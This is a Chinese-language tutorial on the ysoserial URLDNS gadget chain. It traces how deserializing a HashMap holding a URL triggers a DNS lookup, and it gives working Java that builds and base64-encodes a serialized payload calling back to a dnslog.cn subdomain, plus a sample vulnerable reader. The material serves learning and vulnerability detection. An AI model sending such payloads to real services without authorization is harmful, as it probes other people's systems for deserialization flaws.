URLDNS
本文参考Deepseek编写。环境是IDEA + JDK1.8.0_492。
URLDNS介绍
URLDNS 链是 ysoserial 工具中的一条反序列化利用链。URLDNS通过反序列化过程触发一次DNS请求,常被用来检测是否存在Java反序列化漏洞(不出网的检测不到)。不限制JDK版本,使用Java内置的类,对第三方依赖没有要求。
调用链
HashMap.readObject()
↓
HashMap.putVal()(对每个键值对调用)
↓
HashMap.hash(key)(计算键的哈希值)
↓
key.hashCode() → URL.hashCode()(如果 key 是 URL 对象)
↓
handler.hashCode(this)(handler 为 URLStreamHandler 实例)
↓
getHostAddress(u) → InetAddress.getByName(host)(触发 DNS 查询)
URLDNS链的触发逻辑是利用HashMap在反序列化时会计算键的哈希值,而计算URL对象的哈希值会触发域名解析。
详细分析
1.入口点:HashMap.readObject()
java.util.HashMap 实现了 Serializable 接口并重写了 readObject 方法。在反序列化过程中,HashMap 会遍历读取所有序列化存储的键值对,并重新计算每个键的哈希值以重建哈希表:
//这里只放关键代码
for(int var9 = 0; var9 < var4; ++var9) {
Object var10 = var1.readObject();
Object var11 = var1.readObject();
this.putVal(hash(var10), var10, var11, false, false);
}
注意这个hash(var10)
2.哈希计算: HashMap.hash()
hash方法会调用hashCode方法,注意var0.hashCode()。
static final int hash(Object var0) {
int var1;
return var0 == null ? 0 : (var1 = var0.hashCode()) ^ var1 >>> 16;
}
如果var0是URL对象,那么此处就会调用URL.hashCode()。
3.触发DNS查询:URL.hashCode()
倘若hashCode!=1不成立,就会调用this.handler.hashCode(this)。
public synchronized int hashCode() {
if (this.hashCode != -1) {
return this.hashCode;
} else {
this.hashCode = this.handler.hashCode(this);
return this.hashCode;
}
}
handler的定义是transient URLStreamHandler handler; ,它是一个URLStreamHandler类。
这时又触发URLStreamHandler.hashCode方法
4.DNS查询请求:URLStreamHandler.hashCode()
protected int hashCode(URL var1) {
int var2 = 0;
String var3 = var1.getProtocol();
if (var3 != null) {
var2 += var3.hashCode();
}
InetAddress var4 = this.getHostAddress(var1);
//...
//...
//省略下面代码
//...
//...
追踪this.getHostAddress,发现又回到了URL.getHostAddress,
protected InetAddress getHostAddress(URL var1) {
return var1.getHostAddress();
}
synchronized InetAddress getHostAddress() {
if (this.hostAddress != null) {
return this.hostAddress;
} else if (this.host != null && !this.host.isEmpty()) {
try {
this.hostAddress = InetAddress.getByName(this.host);
} catch (SecurityException | UnknownHostException var2) {
return null;
}
return this.hostAddress;
} else {
return null;
}
}
this.hostAddress = InetAddress.getByName(this.host);这个语句会解析host的ip地址,至此会触发DNS查询。
实现
核心实现
最核心的实现只有下面的几行代码
先进DNSLoghttp://www.dnslog.cn/,Get SubDomain。
HashMap map=new HashMap();
URL url = new URL("http://h6fkk9.dnslog.cn");
map.put(url, "test");
put的时候会触发。
放在main跑一下,再回DNSLog Refresh Record,会发现多个很多记录,代表触发了。
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
public class Main {
public static void main(String[] args) throws MalformedURLException {
HashMap map=new HashMap();
URL url = new URL("http://h6fkk9.dnslog.cn");
map.put(url, "test");
}
}
序列化与反序列化实现
URLDNS链主要是用来测反序列化漏洞,所以还需要额外处理。为了方便,我直接用base64输出而不是文件。
序列化
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.Base64;
import java.util.HashMap;
public class Main {
public static void main(String[] args) throws Exception{
// 1. 创建 HashMap 和 URL 对象
HashMap<URL, String> map = new HashMap<>();
// 替换为你自己的 DNSLog 地址
URL url = new URL("http://h75jv0.dnslog.cn");
// 2. 关键:通过反射修改 URL 的 hashCode,避免在本地 put 时触发 DNS 请求, 影响判断。
Field hashCodeField = Class.forName("java.net.URL").getDeclaredField("hashCode");
hashCodeField.setAccessible(true); //使其允许访问private成员: private int hashCode;
// 先设为非 -1,这样 put 的时候就不会触发 DNS 查询
hashCodeField.set(url, 666);
map.put(url, "test");
// 3. put 完之后,再把 hashCode 改回 -1
// 这样序列化传输过去后,对方反序列化时 hashCode 是 -1,就会触发 DNS 查询
hashCodeField.set(url, -1);
// 4.输出base64编码的序列化数据
ByteArrayOutputStream baos=new ByteArrayOutputStream();
ObjectOutputStream oos=new ObjectOutputStream(baos);
oos.writeObject(map);
oos.flush();
byte[] sdata=baos.toByteArray();
System.out.println(Base64.getEncoder().encodeToString(sdata));
}
}
输出得到base64数据
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QAEDBwOWg1OS5kbnNsb2cuY250AABxAH4ABXQABGh0dHBweHQABHRlc3R4
反序列化
import java.io.ByteArrayInputStream;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;
public class Vul {
public static void main(String[] args) throws IOException, ClassNotFoundException {
String b64Input="rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QAEDBwOWg1OS5kbnNsb2cuY250AABxAH4ABXQABGh0dHBweHQABHRlc3R4";
byte[] data= Base64.getDecoder().decode(b64Input);
ByteArrayInputStream bais=new ByteArrayInputStream(data);
//反序列化
ObjectInputStream ois=new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}
反序列化的代码是模拟有反序列化漏洞的Java服务程序的。
readObject反序列化base64编码的序列化数据的时候就会触发DNS请求,在DNSLog进行判断。

评论区
评论加载中...